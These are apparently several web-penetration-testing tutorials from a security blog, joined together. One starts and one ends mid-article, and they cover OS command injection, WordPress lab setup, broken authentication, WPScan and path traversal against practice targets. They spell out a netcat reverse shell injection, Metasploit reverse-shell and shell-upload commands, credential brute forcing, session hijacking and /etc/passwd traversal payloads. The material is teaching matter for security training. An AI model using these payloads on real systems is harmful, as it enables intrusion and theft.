There are many different ways that provide us with our intended outcome, but we will use the web_delivery exploit in order to find a way to transfer our malicious payload into the remote machine.

Type the following commands to generate our payload:

use exploit/multi/script/web_delivery

Now it’s time to choose our target.

Type “show targets” in order to get the complete list of all the in-built target options.

set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.9
set lport 2222
exploit

As soon as I hit enter after typing exploit, the Metasploit framework will generate the payload with all the essentials.

We are almost done, just simply include this payload with the command using any metacharacter.

Here I’ve used & (ampercent) so that the server executes both the commands one after the another.

From the below image you can see that we are into the target’s system again, but this time we are more powerful with the Metasploit session.

Blind OS Command Injection

So until now, we were lucky enough that the web-applications were returning the outputs from the commands directly on the screen through their HTTP Responses. But there are many situations when the applications do not return anything and still run some system commands as into their backend processes. So the question arises – Do such web-applications are vulnerable to command injection??

Let’s try to figure this out by using the most reliable method the time-delay ping command which will detect whether the application is suffering from command injection or not.

Detection of Blind OS Command Injection

I’ve now logged in inside bWAPP and selected the “Choose you bug” option to “OS Command Injection – Blind”, further setting up the security level to medium.

Thus I’ve been redirected to the web application which is suffering from command injection vulnerability.

Let’s check, whether this application is actually suffering from the OS Command Injection or not.

Enter any IP address in the field provided and turn on your burpsuite monitor in order to capture the ongoing http request, thus forwarding it all into the repeater tab.

Now we’ll try to manipulate the request with

ping –c 10 192.168.0.9

As I clicked over the Go tab, it took about 10 seconds to display the response result, thus confirms up that this web-application is suffering from OS Command Injection.

Exploiting Blind OS Command Injection using Netcat

As of now, we are confirmed that the application which we are trying to surf is suffering from command injection vulnerability. Let’s try to trigger out this web-application by generating a reverse shell using netcat.

From the below image you can see that I’ve checked my Kali machine’s IP address and set up the netcat listener at port number 2000 using

nc –lvp 2000

where l = listen, v = verbose mode and p = port.

Now on the web application, I’ve injected my netcat system command with the localhost command into the input field i.e.

localhost|nc 192.168.0.9 –e /bin/bash

The –e /bin/bash empowers the netcat command to execute a bash shell on the listener machine.

Great!! We are into the victim’s shell through our kali machine and we’re now able to run any system command from here.

Mitigation – OS Command Injection

The developers should set up some strong server-side validated codes and implement a set of whitelist commands, which only accepts the alphabets and the digits rather than the characters.

You can check this all out from the following code snippet, which can protect the web-applications from exposing to the command injection vulnerabilities.

Avoid the applications from calling out directly the OS system commands, if needed the developers can use the build-in API for interacting with the Operating System.

The developers should even ensure that the application must be running under the least privileges.

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Comprehensive Guide to OS Command Injection appeared first on Hacking Articles.

In this post, we will demonstrate how to set-up our own Vulnerable WordPress CMS for penetration testing on Ubuntu 20.04, Docker and Windows using XAMPP server.

Table of Content

WordPress Setup on Ubuntu 20.04
Install WordPress using Docker
Install WordPress on Windows Platform

WordPress Setup on Ubuntu 20.04

In order to configure WordPress in your Ubuntu platform, there are some prerequisites required for CMS installation.

Prerequisites for WordPress

Apache
Database (MySQL/Mariadb)
PHP

Install Apache

Let’s start the HTTP service with the help of Apache using privilege account (as root), execute the following command in the terminal.

apt install apache2

Install MySQL

For run WordPress, you will also need a database server. The database server is where WordPress content is saved. So, we are going to choose MariaDB-server as the required database for WordPress and execute the following command

apt install mariadb-server mariadb-client

Next, execute the following commands to protect remote root login for the database server.

mysql_secure_installation

Then respond to questions asked after the command has been executed.

Enter current password for root (enter for none): press the Enter
Set root password? [Y/n]: Y
New password: Enter password
Re-enter new password: Repeat password
Remove anonymous users? [Y/n]: Y
Disallow root login remotely? [Y/n]: Y
Remove test database and access to it? [Y/n]: Y
Reload privilege tables now? [Y/n]: Y

Install php

And at last, install the php php-MySQL and run the following command to install this application.

apt install php php-mysql

Create a Database for WordPress

To access the MySQL, enter the following command which will create a database for wordpress.

mysql -u root -p
CREATE DATABASE wordpress;
CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'password';
GRANT ALL ON wordpress.* TO 'wp_user'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
exit

WordPress Installation & Configuration

Now, its time to download and install the WordPress on our localhost, with the help of wget command we have fetched the compressed file of wordpress setup and extract the folder inside the /var/www/html directory.

cd /var/www/html
wget http://www.wordpress.org/latest.tar.gz
tar –xvf latest.tar.gz

Then run the given command to change ownership of ‘wordpress’ directory as well permission for upload directory.

chown -R www-data:www-data wordpress/
chmod -R 755  wordpress/
mkdir wordpress/wp-content/uploads
chown -R  www-data:www-data wordpress/wp-content/uploads

Now, till here we are done with the installation, to create a WordPress website we need to access the application over web browser on localhost by executing following and then complete the remaining installation process.

http://localhost/wordpress/

This will open the setup file and ask to choose your preferred language. I select English and then press the continue Tab.

Read the given content and press Let’s go to continue the activity.

To continue the activity, we need to enter the required details that will help the application to connect with database, thus it should be the same information that we have entered above at the time of database we have created for WordPress.

And if your above-given detail is correct, you will get the Installation page as we have here.

Now after that, it will ask you enter details for your Website which you want to host using WordPress CMS as shown in the below image and then finally click on install Tab.

Note: The User and Password asked before the installation is referred to your Database information, and the username and password asked after installed are referred to your application (CMS).

And once it is done, you will get application login page where you have to enter credential to access the dashboard of your CMS.

You will get the dashboard where you can write your content that to be posted on the website.

Open the wp-config.php file in wordpress directory and paste the following lines in it to access the website page.

define( 'WP_SITEURL', 'http://' .$_SERVER['HTTP_HOST'].'/wordpress');
define( 'WP_HOME', 'http://' .$_SERVER['HTTP_HOST'].'/wordpress');

And Finally, it is over here, and your WordPress is completely ready to go.

Install WordPress using Docker

Install WordPress through docker will release your effort of installing prerequisites for WordPress setup. It is a very easy and quick technique to configured WordPress. All you need to have some basic knowledge of Docker and its functionalities.

To install wordpress using docker, first, we will update the Ubuntu repository and then install the latest version of docker.io. Let’s start the installation of docker packages with the apt command as below:

apt install docker.io

Docker Compose is used to run multiple containers as a single service. Let’s begin the installation of docker-compose with the help of apt by entering the following command.

apt install docker-compose

After installing the composer for the Docker, we must create a directory by the name of WordPress. After creating the directory, we will create a .yml file that will contain the service definitions for your setup.

mkdir wordpress
cd wordpress/
nano docker-compose.yml

Now Paste the following text in the .yml and save the configuration. Source Code From here

version: '3.3'

services:
   db:
     image: mysql:5.7
     volumes:
       - db_data:/var/lib/mysql
     restart: always
     environment:
       MYSQL_ROOT_PASSWORD: somewordpress
       MYSQL_DATABASE: wordpress
       MYSQL_USER: wordpress
       MYSQL_PASSWORD: wordpress

   wordpress:
     depends_on:
       - db
     image: wordpress:latest
     ports:
       - "8000:80"
     restart: always
     environment:
       WORDPRESS_DB_HOST: db:3306
       WORDPRESS_DB_USER: wordpress
       WORDPRESS_DB_PASSWORD: wordpress
       WORDPRESS_DB_NAME: wordpress
volumes:
    db_data: {}

Now run the docker image in detach mode using the following command

docker–compose up -d

After doing all the configuration step-by-step, now access the localhost on port 8000 that will be hosting your WordPress Docker image and configure your WordPress site as done in the previous section.

You will get the dashboard where you can write your content that to be posted on the website. But here we need to make some changes inside the setting so that the wordpress after installation it will work properly. Thus, enter your localhost IP address with a port number on which your docker image is running.

And Finally, it is over here, and your WordPress is completely ready to go but over port 8000 as shown here .

Install WordPress on Windows Platform

Installation of WordPress is also very easy as compared to ubuntu because to fulfil the prerequisites of LAMP Server we can use XAMPP that will complete the all required dependency like apache and MySQL for WordPress.

Now download the extract the zip file of WordPress inside the /htdocs folder in /xampp folder in C-Drive.

Now open the PHPMYADMIN in a web browser by accessing /localhost/phpMyAdmin and create the database for WordPress to store its data.

Now in order to configure wordpress, explore the /localhost/wordpress/ and then enter the detail for the database.

Note: By Default, XAMPP DB_User is root and DB_Pass is empty <blank>

So as per XMAPP database configuration, we entered the following details in the given record.

Now again repeat the same step as done in the above section.

You will get the dashboard where you can write your content that to be posted on the website.

To make it vulnerable WordPress platform in order to perform penetration testing I have installed some vulnerable plugin as highlighted in the image.

To know how we can go do WordPress Penetration testing read this article.

WordPress Vulnerable Plugin

https://www.exploit-db.com/exploits/40290

https://www.exploit-db.com/exploits/36374

https://www.exploit-db.com/exploits/44883

Author – Paras khorwal is a Certified Ethical Hacker, Technical writer and Penetration Tester at Hacking Articles. Technology and Gadget freak. Contact Here

The post WordPress Pentest Lab Setup in Multiple Ways appeared first on Hacking Articles.

Does just keeping secure and a strong password can really protect you? Today in this article we’ll learn, how an attacker analyzes and take over the user’s account that have been logged in inside some weakly authenticated web-application with an immune password.

Table of Content

Introduction to Authentication
Broken Authentication and Session Management
Sessions
Cookies
Impact of Broken Authentication
Broken Authentication
- Credential Stuffing
- Insecure Web-Applications
  - Insecure Login forms
  - Logout management
- Bypassing Forget Password Option
Improper Session Management
- Administrative Portal Login
- Session Hijacking
  - Using the Browser’s Plugin
  - Using Burpsuite
- Mitigation Steps

Introduction to Authentication

Authentication is the process of validating a user who is claiming to be a genuine one. Thus in a web-application, password plays a major role in the authentication phase. In order to get the desired access, the user have to enter his username and password, further, these credentials are sent to the server for the authentication process.

However the server checks them into its database and if found valid, it generates a session and passes it to the browser in the form of Cookie Session ID.

What is Broken Authentication & Session Management

But what if an intruder bypasses this authentication process either by guessing up the username and passwords or even by capturing up an active session of any particular user. Thus this scenario is considered as Broken Authentication where the authentication and session management of the web-applications are often not implemented correctly, leading the attacker to gain unauthorized access to the user’s data.

Form the above picture you can see that the attacker is trying to get into the web-application by the credential stuffing method, where he is having a bunch of breached passwords which thus in-turn helps him to gain an authenticated session.

A website or application is vulnerable to Broken Authentication when:

Username and password are easy to guess using fuzzing or brute force.
Password Does not match Password complexity policy.
Enumeration of username/password at the of Authentication failure response invalid username or an invalid password.

A website or application is vulnerable to Session Management when:

Login credentials are not protected when stored and lacking hashing and salt.
Transmission of username and password over an unencrypted channel such as HTTP
Session ID exposes in URL.
User session or authentication tokens are not timeouts after user logout.

In order to explore more, let’s take a deep dive and learn about the sessions and the cookies concepts.

Sessions

When a user made any changes in a web application like a sign in or sign out, the server does not know who that person is. In order to solve this issue, sessions were introduced, which holds the information of a single user that can be reused across several web pages over a particular web-application.

Example: login ID user name and password.

Therefore some code is generated with a unique identification number in the form of hash for that specific session which is a random string of 32 hexadecimal numbers such as 5f7dok65iif989fwrmn88er47gk834 and thus it is known as sessionID.

Cookies

A cookie is a small piece of data similar to the sessions, they are sent by the server to the browser. Thus this data is stored on the user’s computer while he/she is browsing. Cookies have a short time period due to their preset expiry date and time.

Cookies are classified into major categories but the most common one is –

Session Cookie:

These cookies die when the browser is closed because they are stored in the browser’s temporary memory. They’re majorly used for the e-commerce websites so the user can continue browsing without losing what he put in his cart and finally able to checkout. The session cookie is deleted only when they are on their expiration date or when a user shuts down the browser.

To know more about cookies and session management read from here

Impact of Broken Authentication

Broken Authentication is the vulnerability which allows the attacker to gain the user data without proper authentication. This vulnerability arises in the web application where the sessions are not properly sanitized. Therefore it stood as the second most critical vulnerability in the OWASP top10 having “a CVSS Score of 8.8”.

However, the Broken Authentication vulnerability has been majorly reported under

CWE- 287 Improper Authentication
CWE-345 Insufficient Verification of Data Authenticity
CWE-522 Insufficiently Protected Credentials

To learn more about the other CWE categories for Broken Authentication and Session Management click here.

Vulnerability Walkthrough to demonstrate Various Attack

Until now you might be clear with the concept of authentication and aware with the fact that how crucial the sessions are. So now it’s time to exploit and analyze these vulnerabilities over the most vulnerable platforms i.e. bWapp and WebGoat.

Credential Stuffing

During the major data breaches, it is easy for the attackers to grab a list of commonly used usernames and passwords. Thus using these different login pairs, they are able to gain the actual user’s credential of a particular web-application. Credential stuffing somewhere also known as bruteforcing or fuzzing.

Therefore we’ll try to bypass this high-security captcha login using one of the best web-fuzzing tools i.e. Burpsuite.

Boot in your burpsuite in order to capture the ongoing HTTP request, by setting up the proxy server at the localhost and enabling the intercept option in the proxy tab.

As soon as you grab the request just send it directly to the intruder.

Now it’s time to configure our attack!!

Switch to the Position tab and choose the Attack type to Cluster Bomb, further add up the attack position by simple clearing all the preset positions with the Clear $ button and adding the new positions with the Add $ button.

From the above image, you can see that, I’ve set the attack position over the login and the password fields, where my dictionaries would work. Then in the Payload section, we’ll be adding up our dictionaries.

Choose the Payload Set 1 and 2 simultaneously one after the other and include our lists in both of them by simply clicking on the Load button and at last click on Start Attack.

From the below image you can see that our attack has been started and there is a fluctuation in the length section and our lists are working in the way we want. I’ve double-clicked over the length section in order to check the lowest value first.

Here, I was able to see that the payload 1 and 2 with bee and bug inputs respectively are giving a successful login in the Response section. Therefore I was able to get into the web-application by entering the credentials as a bee : bug.

Insecure Login Forms

As mentioned above, when login credential is stored without the proper security majors being used, just like without the addition of hashing or salt value with username and password at the location where it is stored, this could be lead to insecure login that could be considered as vulnerable to session management.

Simply right-click anywhere on the form screen and choose View Page Source option.

As we analyze the HTML form code, I was able to determine the username and the password values as tonystark and I am Iron Man hidden with the white font.

Insecure Logout Management

This is one of the most common vulnerabilities, where the developers simply setup the hyperlinks of the logout page at the logout text without having any concern about the generated session and do not validate the weather the session ID is getting timeout or not once the user logout from the application.

I’ve set the “Choose your bug” option at “Broken Authentication –Logout Management”. From the below image you can see that as I’ve clicked on the OK option in the popped up confirmation field. Thus further I had been redirected to the logout page.

Now let’s try to simply click on the back button. Great!! We are back into the account again. That means we were just redirected to the new page but our session cookies were not expired yet.

Bypassing Forget Password Option

Forget Password is the most common feature of every web-application. The majority of applications use it, in order to send a reset password link to their users at their registered email addresses. But what, if we exploit this feature and change the credentials of the users without their concern or even without capturing anything from their browsers?

Let’s try how we can exploit it!!

I’ve logged in into the WebGoat’s platform by creating a new user account as hackingarticles (Attacker) in order to exploit this vulnerability. To install and setup WebGoat click here.

Note: Here at port 8080 the Webgoat server is enabled for HTTP service and at port 9090 the webwolf is enabled for SMTP.

From the left-hand side, the panel selects Broken Authentication following with Password Reset field. Thus selecting the 6^th option from the top, we’ll be redirected to our desired task.

Dragging to the bottom we’ll find the Account Access form, below there we can find a “forgot password” option.

As soon as we click on it we’ll be redirected to the “Forgot Your Password” page.

Now, it’s time to start our attack, I’ve entered hackingarticles@webgoat-cloud.org as the registered email address.

From the above image, you can see that we got the response as “An email has been sending to hackingarticles@webgoat-cloud.org”

Now let’s surf the WebWolf’s webpage and enter the same credentials (Attack’s) that you have used while logging into WebGoat

http://192.168.0.11:9090/login

From the below image, you can see that I’ve received an email with a reset link in order to set up the new password.

Now it’s time to break and get into the victim’s account i.e.“tom’s account” who is my target and with the help of footprinting, I have identified his email ID. Back to the WebGoat server, we’ll write the tom’s email address as tom@webgoat-cloud.org. But this time we’ll capture the request in the burpsuite before sending it to the server.

As soon as we capture the “Post Request”, we’ll send it all to the repeater.

Now we’ll manipulate the request and send it to our server i.e. the server we set at 192.168.0.11:9090.

From the above image, you can see that “An email has been send to tom@webgoat-cloud.org”. But this email has actually been sent over our WebWolf server.

Let’s get back to our “WebWolf” application and check what we have received as in our Incoming Request.

From the above image, you can see that I’ve successfully manipulated the WebGoat server, which sends the request over my account. Copy the unique Id as highlighted, which we will use in our future case.

We’re now almost done, go back to the inbox of “hackingarticles@webgoat-cloud.org” and open that reset link that we got earlier.

From the above image you can see that, in the URL section, we’re having a unique ID here too. Let’s change this unique ID with the one we copied earlier.

Woah!! We are redirected to a new “Reset your password” page, seems like we’re changing Tom’s credentials.

I’ve now set the password here as “tomandjerry”. And fired the “SAVE” button.

Let’s check whether we’re able to change the tom’s credentials or not.

Go back to the WebGoat web-application and select the option to “Account Access” and enter the following credentials:

tom@webgoat-cloud.org
tomandjerry

Great!! We’ve successfully changed Tom’s password just with his email account, without knowing who is tom.

Improper Administrative Login

Administrative logins are considered as one of the most important and the most crucial vulnerability, it occurs due to unsanitized session generated from the server’s end.

Let’s try to exploit this vulnerability and get into the web-application with the administrative privileges.

Boot back into your bWapp server and select “Session Management – Administrative Portals” in the “Choose Your Bug” option keeping the security at low.

From the above image you can see that after the “.php?” we’ve got “admin=0”, let’s manipulate this but “admin=1” and check out the grabbed result.

Simple!! We’ve unlocked this page with the administrative rights.

Let’s try to increase up the level and set it to “medium”, now checking the same in the URL, we won’t be able to find anything. So is this vulnerability patched?

Wait, let’s try to capture its cookies and analyze them.

Look there it is, the flaw is still the same, but this time it is in the cookies. So now let’s check whether our manipulation will work or not?

I’ve again manipulated the “admin=0” to “admin=1”

From the below image you can see that we’ve successfully unlocked the webpage again with some simple manipulations

Session Hijacking

Until now we all are aware with the fact that for every different user there is a unique session ID generated, thus when an attacker sniffs the network traffic via a man-in-the-middle attack or via Cross-Site Scripting and thereby steals up the session ID or the session tokens of the legitimate user’s authenticated session in order to get an unauthorized login. This methodology is known as Session Hijacking.

The idea about session hijacking would be more clear from this image.

Here the user enters his credentials into the web-application, thus application sends them to the server for authentication. Therefore as soon as the credentials were found valid, the server generates a session and shares it to the browser, such that the user does not need to enter his credentials every time for every single page he requests for.

But the attacker sniffs the network and steal up these freshly generated session IDs before they were sent to the user. Now the attacker just needs to send these session ID’s to the web server, the server tries to match them with its database stored session ID. If they both are matched thus the server servers the attacker will HTTP 200 OK reply and the attacker will get successful access without submitting proper Identification.

So it’s time to play with these sessions and hijack some accounts.

Session Hijacking using Browser’s extensions

Isn’t it great if you could simply get into other’s account without bruteforcing or resetting the password or by not finding any flaws in the web-application?

In order to perform all this, we’ll be using a simple browser extension i.e. “Cookie Editor”, which enable us to import and export the browser generated cookies by simply copying them into our clipboard, which can further be used in getting an authenticated access.

Let’s Start!!

From the below image you can see that I’m having this Cookie Editor enabled in my browser and I’ve logged in inside bWapp as “Hackingarticles : 123”, now from the options provided I’ll click on the “Export” button in order to export all the cookies of this particular session.

Since I’ve successfully exported the user’s cookies now it’s time to import them into the attacker’s machine. From the below image you can see that the user “bee” is active with an enabled cookie editor extension.

Now let’s try to import these cookies into the attacker’s browser by pasting the exported cookies into the Cookie Editor console.

As I hit the “enter” button the exported cookies of the user hackingarticles will be imported directly into the browser where the user bee resides.

So everything is up now, just simply refresh the browser and there it goes. From the below image you can see that we’ve successfully captured the hackingarticles session with just 3 clicks.

Session ID exposure in URL

Many times the developers fail to manage the privacy of the web-applications by leaving some basic flaws such as disclosing the session ID in the URLs, which allows the attacker to steal these session ids by simply monitoring up the network and manipulate them in order to exploit the authenticated user to compromise his account.

For this exploitation, we’ll be using the bWAPP, selecting up the “Choose your bug” option to “Session Management – Session ID in URL” and setting the security level to “low”.

From the above image you can see that the “PHPSESSID=” of the user “Hackingarticles” is displayed into the browser’s URL, just copy the same into a text file.

Similarly, we’ll copy the “PHPSESSID=” from the user “Bee” and paste it into the same text file.

Form the above image, you can see that both these session ID’s are different.

Thus, it’s time to exploit this vulnerability.

In the Bee’s account, we’ll go to the “Change Password” option, and will try to change the password.

But before hitting up the “change” button, we’ll run our favourite tool “burpsuite” and capture the ongoing HTTP Request.

From the below image you can see that we’ve successfully captured the HTTP request, and there we are again presented with the “PHPSESSID”.

Now we’ll be sharing this captured request to the repeater and replace the session ID, and further will check its generated response.

From the above image, you can see that the user have been changed from bee to Hackingarticles as we hit the Send button.

We’re almost there, just change the “PHPSESSID=” with the one that we’ve used in our previous step, in the Proxy tab.

As soon as I hit the Forward button, I will be redirected to a new web page.

Great!! We are back into Hackingarticles account by simply manipulating up the SessionID.

Mitigation Steps

Developers should setup the Session ID’s, username, password, session tokens in the most encrypted way where they stored.
Validate appropriate session timeout and invalidated during logout for session tokens.
The client’s or the Users should use multi-factor authentication and even follow-up with the strong password policies in order to increase the password complexities.
Session ID’s should not be exposed in the URL.
Use Encrypted channel for transmitting username and password to the server.

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Comprehensive Guide on Broken Authentication & Session Management appeared first on Hacking Articles.

Every other web-application on the internet is somewhere or other running over a Content Management System, either they use WordPress, Squarespace, Joomla, or any other in their development phase. So is your website one of them? In this article, we’ll try to deface such WordPress websites, with one of the most powerful WordPress vulnerability Scanner i.e WPScan.

Table of Content

Introduction
Enumerating the WordPress web-application
- Version Scanning
- WordPress Themes
- WordPress Plugins
- WordPress Usernames
- All in a single command
WordPress Exploitation
- Bruteforce Attack using WPScan
- Shell Upload using Metasploit
- Vulnerable Plugin exploitation
Scanning over a Proxy Server
Scanning with an HTTP Authentication enabled

Introduction

“WordPress is one of the most powerful CMS platform, which covers about 35% of the total share of the websites over the internet”. Thus in order to enumerate such web-applications, we’ll be using “WPScan” – which is a black box vulnerability scanner for WordPress, scripted in Ruby to focus on different vulnerabilities that are present in the WordPress applications, either in its themes or plugins.

Well, WPScan comes preinstalled in Kali Linux, SamuraiWTF, Pentoo, BlackArch; which scans up its database in order to find out the outdated versions and the vulnerabilities in the target’s web application.

Let’s check out the major things that WPScan can do for us:

Detect the version of currently installed WordPress.
Can detect sensitive files like readme, robots.txt, database replacing files, etc.
Detect enabled features on currently installed WordPress server such as file_upload.
Enumerates the themes, plugins along with their versions and tells if they are outdated or not.
It even scans up the web-application to list out the available usernames.

Before going deeper, I suggest you check out our previous article where we’ve discussed the “Multiple ways to setup a WordPress Penetration Testing Lab”.

Let’s start!!

As discussed earlier, WPScan is installed by default in the Kali Linux machines, so let’s check out the default usage options, by simply firing the following command in the terminal.

wpscan -hh

Scanning the WordPress version of the target’s website

As we were presented with the default options, let’s now try to do a basic scan over the vulnerable WordPress web-application that we’ve set up in our earlier article.

Type the following command to scan the WordPress application and its server.

wpscan --url http://192.168.1.105/wordpress/

From the below image you can see that it dumps up everything it could – the WordPress version, the Apache server, and even it also found that the upload directory has directory listing enables which means anyone can browse to “/wp-content/uploads” in order to check out the uploaded files and contents.

Enumerating WordPress Themes

Themes play an important role in any CMS web-application, they control the general look & feel of the website including its page layout, widget locations, and the default font and colour preferences.

WPScan uses its database which contains about 2600 themes to check the vulnerable installed one over the targets.

In order to check the installed themes of the target’s WordPress web-application, type following command:

wpscan --url http://192.168.1.105/wordpresws/ -e at

The “–e” flag is used for enumeration and the “at” flag returns “all themes”.

You can even use the other flags such as “vt”, to list only the vulnerable themes.

Thus running the above command, we will be presented with the installed themes with its version.

Enumerating WordPress Plugins

Plugins are the small piece of codes, that when added to a WordPress web-application, boost up the functionalities, and enhance the website’s features.

But these plugins may sometimes cause great damage to the web-application due to their loosely written codes.

Lets’s check out the installed plugins on our target’s web-application by executing the below command:

wpscan --url http://192.168.1.105/wordpress/ -e ap

Similar to the themes, we can also check the vulnerable plugins by using the “-vp” flag.

After waiting for a few seconds, WPScan will dump our desired result. From the below image, you can see the plugins “mail-masta” and “reflex-gallery” are installed over our target’s website. As a bonus, we even get the last update and the latest version.

Enumerating WordPress Usernames

In order to list out usernames of our target’s website privileged users, execute the following command:

wpscan –url http://192.168.1.105/wordpress/ -e u

The flag “u” will grab all the usernames and will present a list on our screen.

As WPScan completes its work, we’ll find a list of all the users with their user IDs, in accordance with how it grabbed them.

Enumerate ALL with a single command

Does WPScan give us that privilege to scan up the web-applications to check everything in one go, whether it is its version, the installed themes, or the plugins?

Let’s check this out!

Fire up the following command to grab everything we scanned above for our target web-application.

wpscan --url http://192.168.1.105/wordpress/ -e at –e ap –e u

–e: at: enumerate all themes of targeted website

–e: ap: enumerate all plugins of targeted website

–e: u: enumerate all usernames of targeted website

Brute-force attack using WPScan

With the help of usernames which we enumerated earlier, we can create a word list of all the users and can try a brute-force login attack using the default password list as “rockyou.txt”. You can learn more about cracking the WordPress logins from here.

From the below image you can see our designed wordlist.

Let’s now try to exploit the website by defacing its login credentials using the following command:

wpscan --url http://192.168.1.105/wordpress/ -U user.txt –P /usr/share/wordlists/rockyou.txt

The –U and the –P flags are used to set up the username list and the password list respectively.

It will start matching the valid combination of username and password and then dumps the result, from the given image you can see we found the login credentials.

Great!! We got the admin credentials as “admin : jessica”. Let’s try to get into the application’s dashboard with them.

Shell Upload using Metasploit

Isn’t it great if you get the target’s shell?

Run the following commands in order to get a meterpreter session of our target’s web-application.

msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set rhosts 192.168.1.105
msf exploit(wp_admin_shell_upload) > set username admin
msf exploit(wp_admin_shell_upload) > set password jessica
msf exploit(wp_admin_shell_upload) > set targeturi /wordpress
msf exploit(wp_admin_shell_upload) > exploit

This module takes an administrator username and password, logs into the admin panel, and uploads a payload packaged as a WordPress plugin. And finally, give us the meterpreter session of the webserver.

Vulnerable Plugin Exploitation

Here in our website, we found a vulnerable plugin i.e. “slideshowgallery” which contains an authenticated file upload vulnerability thus in order to exploit it, we will be using the following module which will offer us a reverse shell.

use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(wp_slideshowgallery _upload) > set rhost 192.168.1.105
msf exploit(wp_ slideshowgallery _upload) > set targeturi /wordpress
msf exploit(wp_ slideshowgallery _upload) > set username admin
msf exploit(wp_ slideshowgallery _upload) > set password jessica
msf exploit(wp_ slideshowgallery _upload) > exploit

From the below image you can see that we’ve successfully captured our target’s meterpreter session.

Scanning over a Proxy Server

Is it possible to scan a WordPress web-application running over a proxy server?

Many web-applications use Proxy servers in order to be secure, but WPScan gives us this advantage to scan such web-applications using the “–proxy” flag.

Let’s check it out how:

Our WordPress web-application is now running over a proxy server with a “port number as 3128”. You can learn more about how to set up a proxy server from here.

Now if we try to scan it with the default usage option we’ll get an error and our scan will halt. So let’s try to use the proxy port in order to scan the web-application.

Simply run the following command to bypass this proxy server:

wpscan --url http://192.168.1.105/wordpress/ --proxy http://192.168.1.105:3128

From the below image you can see that we are back into the scanning section.

Scanning with an HTTP Authentication enabled

Many websites enable HTTP authentication so that they can hide some essential and critical information from unauthenticated users.

We have also set a similar validation over our website with the credentials as “raj : 123”. To learn more about HTTP authentication click here.

From the below image you can see that when we tried the normal scan, we got an alert as “Please provide it with –http-auth”.

Thus following this alert, we’ve used the –http-auth and had entered our credentials.

wpscan --url http://192.168.1.105/wordpress/ --http-auth raj:123

And there we go, our scan has been started now.

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post WPScan:WordPress Pentesting Framework appeared first on Hacking Articles.

In our previous post, we’ve explained the Local File Inclusion attack in detail, which you can read from here. I recommend, then, to revisit our previous article for better understanding, before going deeper with the path traversal vulnerability implemented in this section.

Today, in this article we will explore one of the most critical vulnerabilities, that arises when the developer does not validate the inclusion functions in the web-applications, which thus allows the attacker to read and access any sensitive file from the server.

Table of Content

Introduction

Linux Server Path_Traversal Exploitation

Basic Path Traversal
Blocked Traversal Sequence
Validated Path Traversal
Path Disclosure in URL
Null Byte Bypass

Windows Server Path_Traversal Exploitation

Basic Path Traversal
Double dots with Forward-Backward Slashes
Blocked Traversal Sequences

Mitigation Steps

Introduction

Path Traversal sometimes also termed as “Directory Traversal” is an HTTP vulnerability which allows an attacker to trick and manipulate the web application’s URL to access the files or directories that resides outside the application’s root folder. This vulnerability carries when a developer fails to establish or manage the input validations while including the files such as images, static texts, codes, etc. in their web applications.

However, in such attacks, the attacker manipulates the web application input fields by entering the dot-dot-slash (../) sequences or some similar variations, to bypass the web page and access the desired system file.

Thus this vulnerability has been reported as “High with a CVSS score of 7.3” under :

CWE-22: “Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)”
CWE-35: “Path Traversal: ‘…/…//’ “
CWE 73: “Directory Traversal”
CWE-200: “Exposure of Sensitive Information to an Unauthorized Actor”

Let’s check out this scenario and learn how an attacker defaces the web-application by grabbing the server’s sensitive files.

Here, the user calls up a file – index.php through the web application’s URL i.e. http://abc.com/file=index.php. Thus the application process the URL and calls up the index.php that was present locally into the server folder “RAJ” as “/var/www/html/RAJ”.

The developer uses the “include” functionality as “file=” with a simple intention to manage the user’s selected input files, such that the application can directly call it from the local server. Now the attacker tries to manipulate the URL using the dot-dot-slash sequence as http://abc.com/file=../../../../etc/passwd, to retrieve the contents of the server’s password file.

Thus again the application will process it and reads up the file at /var/www/html/RAJ/../../../../etc/passwd. Every “../” represents – back to parent directory, thus if we call up “../” for four times, it will put us in the “root” directory, from there we can simply access the password file as etc/passwd.

Linux Server Path_Traversal Exploitation

Let’s now try to implement this in some real scenarios and check the different attacking sequences rather than the dot-dot-slash only.

For all this, I’ll be using two different platforms The Portswigger Academy and DVWA which contains the path traversal vulnerability.

Basic Path Traversal

Login into the PortSwigger academy and drop down till Directory Traversal to get into its labs, choose the first lab as “File path traversal, the simple case” and hit the “Access the lab” button.

Here you’ll now be redirected to an e-commerce website, which is having several products in its catalogue and is suffering from path traversal vulnerability.

As to further, I’ve opened a product and checked out its display image with a simple right-click as view image.

Now its time to check what we could manipulate.

Tune in your burp suite in order to capture the ongoing HTTP Request and share it all with the Repeater.

As in the GET request, above in the image, you can notice that the filename=67.jpg, let’s try to change this filename with

filename=../../../etc/passwd

Great!! From the below image, you can see that we’ve successfully grabbed the passwd file.

Blocked Traversal Sequence

There are situations when the developers end up the traversal process, i.e. the dot-dot-slash or any subsequent sequence will not work in such case.

While getting to the second lab, I got the same issue i.e. the “../” sequence didn’t work and I fail to capture the password file. So let’s try to capture this request again in our burpsuite monitor.

From the below image, you can see that I’ve grabbed up the request with filename=66.jpg, and now will shift this all to the Repeater.

As we’re blocked with the “../” sequence. Let’s try to enter /etc/passwd without any preceding values.

Cool!! This worked, we got the password file with the direct call.

Validated Path Traversal

Many developers validate their web-applications, that if the “../” comes into the URL, it gets rejected out. Thus when we tried both the above procedures in our next lab, we got rejected out and didn’t grab anything.

Therefore we capture the HTTP request in our burpsuite and traverse it to the Repeater.

This time we manipulate the URL filename parameter with “double dots followed by double slashes” i.e. “….//….//….//etc/passwd”

Great!! From the above image, you can see that we’ve again captured the password file with this unusual technique.

As we jumped over the 4^th lab, we got this, the developers had made a validation which blocks up the input which contains the path traversal sequence.

Therefore to bypass this validation, I’ve again captured the request and send it to the repeater, to make some manipulations.

From the below image, you can see that, I’ve manipulated the URL filename parameter using Double URL encoding method in order to convert “../” into “..%252f” with the help of ASCII to URL encoder converter and have successfully accessed the password file with

filename=..%252f..%252f..%252fetc/passwd

Path Disclosure in URL

